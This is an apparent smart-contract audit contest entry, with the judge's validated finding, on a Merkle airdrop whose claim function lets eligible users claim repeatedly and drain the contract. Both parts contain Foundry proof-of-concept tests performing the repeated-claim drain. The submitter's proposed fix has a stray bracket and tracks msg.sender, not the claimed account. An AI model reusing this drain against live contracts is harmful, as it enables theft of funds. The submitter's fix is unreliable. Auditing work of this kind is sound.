AirDropper
AI First Flight #5
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EXP
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Submission Details
Severity: high
Valid

An attacker calling `Merkle Airdrop::claim` can empty the entire contract balance, there is no claim verification.

just

An attacker calling Merkle Airdrop::claim can empty the entire contract balance, there is no claim verification.

Description

Once you are approved on the drop lists, you can call MerkleAirdrop::claim multiple times and receive a reward of 25.00 USDC each time. There is no check for previously received rewards.

function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(
bytes.concat(keccak256(abi.encode(account, amount)))
);
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
@> i_airdropToken.safeTransfer(account, amount);
}

Risk

This will be issued every time you are on the reward list. Each time you call the function you will receive a drop.

Impact:

Just by calling, you get a drop for others.

Proof of Concept

  1. First, we give the user wei a claim 4 times (1e9 * 4).

  2. We call the first time to accept the drop and get 25 USDC.

  3. Immediately call the third time to accept the drop again and get it.

  4. Only after four calls does our balance become 100 USDC, and we should have 25 USDC.

vm.deal(collectorOne, airdrop.getFee() * 4);
vm.startPrank(collectorOne);
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
​
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
​
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
​
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
​
vm.stopPrank();
​
uint256 endingBalance = token.balanceOf(collectorOne);
​
assertEq(endingBalance, 100 * 1e6);
}

Recommended Mitigation

Add a validation mapping for a user who has already received a reward.

Include validation in the body of the function that the user receives for the first time.

Before sending, we change the mapping so that it cannot be called again.

+ mapping(address => bool) public hasClaimed;
​
// your code here
​
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
]
+ require(!hasClaimed[msg.sender], "Already claimed drop");
bytes32 leaf = keccak256(
bytes.concat(keccak256(abi.encode(account, amount)))
);
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ hasClaimed[msg.sender] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 11 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

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